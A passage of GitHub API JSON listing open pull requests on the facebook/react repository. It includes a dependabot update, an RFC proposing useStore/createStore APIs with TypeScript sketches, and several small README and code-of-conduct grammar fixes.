", "created_at": "2026-01-07T16:21:42Z", "updated_at": "2026-01-07T16:21:49Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/compiler/modelcontextprotocol/sdk-1.25.2", "ref": "dependabot/npm_and_yarn/compiler/modelcontextprotocol/sdk-1.25.2", "sha": "4f74e3380854788ba9ed93bf1d3ec8eb5a194f10", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "d6cae440e34c6250928e18bed4a16480f83ae18a", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35461" }, "html": { "href": "https://github.com/facebook/react/pull/35461" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35461" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35461/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35461/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35461/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/4f74e3380854788ba9ed93bf1d3ec8eb5a194f10" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 1, 9 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35449", "id": 3147514557, "node_id": "PR_kwDOAJy2Ks67m0K9", "number": 35449, "state": "open", "locked": false, "title": "[RFC] useStore/createStore APIs", "user": { "login": "captbaritone", "id": 162735, "node_id": "MDQ6VXNlcjE2MjczNQ==", "avatar_url": "https://avatars.githubusercontent.com/u/162735?v=4", "gravatar_id": "", "url": "https://api.github.com/users/captbaritone", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "**Note: This is a proof of concept for discussion purposes. API is subject to change and may not ship in this form.**\r\n\r\n* *Update 2026-01-07: Added description of the `ReactExternalDataSource` interface, clarified behavior of `getState` and explained how we avoid needing to tell the data source about React commits.*\r\n\r\nMany libraries in the React ecosystem exist to allow React components to observe non-React state. As of today there is no way for such a library to do this in a way that is acceptably performant while also taking advantage of React transition semantics. This RFC proposes a new API for modeling state that is not conceptually owned by any one React component but which can be observed by multiple React components in a way that avoids unnecessary rerenders while correctly implementing React’s transition semantics.\r\n\r\n## Proposed API\r\n\r\nAt a high level, this proposal consist of an interface which joins two APIs:\r\n\r\n### Interface `ReactExternalDataSource`\r\n\r\nThe `ReactExternalDataSource` interface describes a unit of dynamic non-React state that can be observed in React using `useStore`. In advanced use-cases store/cache libraries could implement this API to allow their state to be safely consumed in React components.\r\n\r\n```tsx\r\nexport interface ReactExternalDataSource {\r\n // Get the current state of the store. State must be immutable.\r\n getState(): S,\r\n // The stable reducer function used by the store to produce new states.\r\n // Reducer must be pure.\r\n reducer: (S, A) => S,\r\n // Subscribe to the store. The callback will be called after the state has\r\n // updated and includes the action that was dispatched.\r\n subscribe: (callback: (action: A) => void) => () => void,\r\n};\r\n```\r\n\r\nNote that `getState()` here must always returns the “current” version of the data source (the result of applying all the actions in the order in which they were triggered) irrespective of any React transition. Different React roots may be rendering different states at any given time, but the data source itself does not need to be aware of that.\r\n\r\n### `useStore`\r\n\r\n```tsx\r\nfunction useStore(\r\n store: ReactExternalDataSource,\r\n selector?: (state: S) => T\r\n): T;\r\n\r\n```\r\n\r\n`useStore` is designed to echo `useContext`. It allows users to observe a store’s value, or a slice/selection of that store value, in a React component. Notably it avoids triggering a render if the observed portion of the store has not changed while still correctly implementing React’s transition semantics including avoiding tearing and correctly implementing [React’s update reordering semantics](https://jordaneldredge.com/react-rebasing/).\r\n\r\n### `createStore`\r\n\r\n```tsx\r\nfunction createStore(\r\n initialValue: S,\r\n reducer?: (S, A) => S\r\n): ReactStore;\r\n\r\n```\r\n\r\nFor simple use cases, React provides it’s own simple (~20loc) store implementation which implements `ReactExternalDataSource`. `createStore` is designed to echo `useState` and `useReducer`. If a reducer is not provided, the `dispatch` method of the store mirrors `setState` in that it accepts either a new value, or an updater function. If a reducer *is* provided, the `dispatch` method accepts a concrete action value which is passed to the reducer.\r\n\r\nThe returned `ReactStore` object implements `ReactExternalDataSource` and also exposes a `.dispatch(action)` method.\r\n\r\n## Example Usage\r\n\r\n```tsx\r\nconst store = createStore(1);\r\n\r\nfunction App() {\r\n const value = useStore(store);\r\n return ;\r\n}\r\n\r\n```\r\n\r\n## Implementation Details\r\n\r\nThe core problems that any implementation of a concurrent compatible store API must solve are:\r\n\r\n1. When a store reader mounts sync during a transition, it must observe the pre-transition state, and then update to the new state with all other components.\r\n2. If a store update is dispatched sync while one or more other updates to the store are still pending as part of a transition, it must correctly model React’s [update reordering semantics](https://jordaneldredge.com/react-rebasing/).\r\n\r\nTo address these problems, the current implementation maintains a reference counted registry of currently observed stores at each React root. As stores update, each root is able to track which state updates are pending and which have flushed to the UI. When a new component mounts sync, it’s able to find the “current” state value for that store in its React root even if other updates are pending. When a sync update is triggered while a previous update is still pending within that root, the update (action + reducer) can be applied on top of the “current” state for that React root.\r\n\r\nNote that the underlying data source does not need to be told when an update commits, and is never aware of any non-canonical states that React produces when sync updates interrupt transition updates. Those temporary states are created by React itself using: `source.reducer(comittedState, syncAction)`.\r\n\r\n(See “Unsolved Problems” below for some limitations associated with the ref counting portion of this approach).\r\n\r\nFor maintaining per-component state, this implementation currently leverages the internal `updateReducerImpl` function, but eagerly pre-computes each update’s value, and explicitly triggers transition fixups, instead of allowing the update queue to be computed during render. This is likely not the cleanest approach, but was minimally invasive while still allowing us to take advantage of the many battle tested detailed of the `updateReducerImpl` implementation, which felt like a good balance for a proof of concept. I expect we will eventually want to either create a custom fork of `updateReducerImpl` for this API, or at least refactor `updateReducerImpl` so that it can be sensibly reused by this API.\r\n\r\n## Existing Alternative Solutions\r\n\r\nToday existing libraries are choosing between one of a few imperfect existing solutions:\r\n\r\n1. `useReducer` + `useContext` this works and is correct, but quickly becomes impractical in the real world due to the performance implications of `useContext` triggering rerenders on every state update.\r\n2. `useSyncExternalStore` this API allows the efficient observation of non-React state, but it prevents updates to stores from participating in React transitions.\r\n3. Rolling their own per-component subscription using `useEffect`. This is fraught with challenges and I believe it’s impossible to fully match React’s transition semantics. I believe [this](https://github.com/thejustinwalsh/react-concurrent-store/tree/main/packages/use-store/src/experimental) is the closest anyone has been able to get, but it makes unsafe assumptions about React and still has known edge cases which are incorrect or have sub-optional performance.\r\n\r\n## Unsolved Problems\r\n\r\nThe current implementation is not perfect. It has some known limitations, but I wanted to share it in its current state to get feedback before continuing with the work/discussion needed to address these issues. But, for the sake of completeness I’ve captured them here:\r\n\r\n### Lifetimes\r\n\r\nIn the edge case where a React root starts observing a store while that store is already updating as part of a transition, the current implementation will incorrectly observe the post-transition value of that store even though the transition is still pending. I believe resolving this issue would require all React roots to know about all stores that are updating as part of transitions, even if they are not observing that store. This is somewhat tricky to implement without interfering with the GC of either stores or React roots. I suspect there is a solution here using WeakRefs, but its possible there is a simpler approach that I am overlooking.\r\n\r\n### Custom equality\r\n\r\nA key feature of this API is avoiding rerenders when the value observed by a component has not changed. To determine if the result of evaluating a selector has changed, we currently use [`Object.is`](http://object.is/) which is the standard in React. However, in many cases this is not sufficient, and libraries like Redux provide mechanisms for providing custom equality functions for determining if a selector’s value has changed. I believe our API should enable this behavior by either allowing the user provide a third `isEqual` argument to `useStore` when providing a selector, *or* by calling the selector with both the current state value *and* the previous state value.\r\n\r\nNeither of these are currently implemented since our current approach of leveraging `updateReducerImpl` does not allow us to easily “see” the currently rendered/rendering value for a given lane.\r\n\r\n### Categorically avoiding unnecessary rerenders\r\n\r\nThe current implementation reuses the logic from `useReducer` to model per-component state updates. This allows us to reuse a bunch of known-correct logic to get something working correctly quickly. However, `useReducer` has known/accepted issues where it will trigger a rerender despite the value not actually changing. This may be less acceptable for `useStore` than it is for `useReducer` since `useStore` with a selector is specifically designed to avoid unnecessary renders.\r\n\r\nUpdating the `useReduce` logic to avoid useless renders would be nice, though it seems the task is tricky enough that previous attempts have been reverted and not reattempted.", "created_at": "2026-01-05T21:26:46Z", "updated_at": "2026-01-31T05:47:34Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "captbaritone:use-store-with-selector", "ref": "use-store-with-selector", "sha": "e1c705378e8318a2b4780777781d8c0aabdb6f2f", "user": { "login": "captbaritone", "id": 162735, "node_id": "MDQ6VXNlcjE2MjczNQ==", "avatar_url": "https://avatars.githubusercontent.com/u/162735?v=4", "gravatar_id": "", "url": "https://api.github.com/users/captbaritone", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 286847647, "node_id": "MDEwOlJlcG9zaXRvcnkyODY4NDc2NDc=", "name": "react", "full_name": "captbaritone/react", "private": false, "owner": { "login": "captbaritone", "id": 162735, "node_id": "MDQ6VXNlcjE2MjczNQ==", "avatar_url": "https://avatars.githubusercontent.com/u/162735?v=4", "gravatar_id": "", "url": "https://api.github.com/users/captbaritone", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "A declarative, efficient, and flexible JavaScript library for building user interfaces.", "fork": true, "url": "https://api.github.com/repos/captbaritone/react", "created_at": "2020-08-11T21:04:52Z", "updated_at": "2025-04-03T01:41:38Z", "pushed_at": "2026-01-02T21:58:58Z", "homepage": "https://reactjs.org", "size": 143662, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 1, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "master" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35449" }, "html": { "href": "https://github.com/facebook/react/pull/35449" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35449" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35449/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35449/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35449/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/e1c705378e8318a2b4780777781d8c0aabdb6f2f" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35445", "id": 3144652043, "node_id": "PR_kwDOAJy2Ks67b5UL", "number": 35445, "state": "open", "locked": false, "title": "Fix grammar and clarity issues in CODE_OF_CONDUCT.md", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Corrected grammatical errors and improved clarity in the Code of Conduct.\r\n\r\n\r\n\r\n## Summary\r\n\r\nThis patch improves clarity and readability in CODE_OF_CONDUCT.md by:\r\n\r\n- Simplifying and shortening sentences in Scope and Enforcement sections\r\n- Ensuring consistent use of \"project or community\" throughout\r\n- Adjusting formatting in the Attribution section for clarity\r\n\r\nNo changes to the actual code of conduct policies were made.\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-04T18:49:10Z", "updated_at": "2026-01-04T18:49:16Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "1d10adaeeb73863a2c319a1dba1e68254dcec717", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "monokkai:patch-4", "ref": "patch-4", "sha": "d190180ccd9b80bac58982dbbf9b76ee7d94ec96", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127856387, "node_id": "R_kgDOQzm5Aw", "name": "react", "full_name": "monokkai/react", "private": false, "owner": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/monokkai/react", "created_at": "2026-01-04T18:15:30Z", "updated_at": "2026-01-16T19:39:17Z", "pushed_at": "2026-01-11T11:17:00Z", "homepage": "https://react.dev", "size": 881071, "stargazers_count": 1, "watchers_count": 1, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35445" }, "html": { "href": "https://github.com/facebook/react/pull/35445" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35445" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35445/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35445/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35445/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/d190180ccd9b80bac58982dbbf9b76ee7d94ec96" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35444", "id": 3144639998, "node_id": "PR_kwDOAJy2Ks67b2X-", "number": 35444, "state": "open", "locked": false, "title": "Fixes a minor grammatical issue in the README", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Updated wording for clarity regarding React's capabilities.\r\n\r\n\r\n\r\n## Summary\r\n\r\nFixed a minor grammatical issue in README such as:\r\n- power mobile apps using React Native.\r\n+ powering mobile apps using React Native.\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-04T18:30:13Z", "updated_at": "2026-01-04T18:30:19Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "1ea9a5ec24ef40c2d55043969bd3e239ace71ad7", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "monokkai:patch-3", "ref": "patch-3", "sha": "59cf189285161c7758a77b9f3a065ca6289fdc43", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127856387, "node_id": "R_kgDOQzm5Aw", "name": "react", "full_name": "monokkai/react", "private": false, "owner": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/monokkai/react", "created_at": "2026-01-04T18:15:30Z", "updated_at": "2026-01-16T19:39:17Z", "pushed_at": "2026-01-11T11:17:00Z", "homepage": "https://react.dev", "size": 881071, "stargazers_count": 1, "watchers_count": 1, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35444" }, "html": { "href": "https://github.com/facebook/react/pull/35444" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35444" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35444/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35444/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35444/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/59cf189285161c7758a77b9f3a065ca6289fdc43" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35443", "id": 3144635550, "node_id": "PR_kwDOAJy2Ks67b1Se", "number": 35443, "state": "open", "locked": false, "title": "Fix inconsistent quote style in README example", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\nImproves consistency and readability of the README example.\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-04T18:23:03Z", "updated_at": "2026-01-04T18:23:09Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "5b17e277f38d9233a0e46a306f5a95f479c111f8", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "monokkai:patch-2", "ref": "patch-2", "sha": "0cd558a9508f1ce37c586c850831cf022b642b2a", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127856387, "node_id": "R_kgDOQzm5Aw", "name": "react", "full_name": "monokkai/react", "private": false, "owner": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/monokkai/react", "created_at": "2026-01-04T18:15:30Z", "updated_at": "2026-01-16T19:39:17Z", "pushed_at": "2026-01-11T11:17:00Z", "homepage": "https://react.dev", "size": 881071, "stargazers_count": 1, "watchers_count": 1, "language": "JavaScript", "has_issues": false, "has_projects": true, 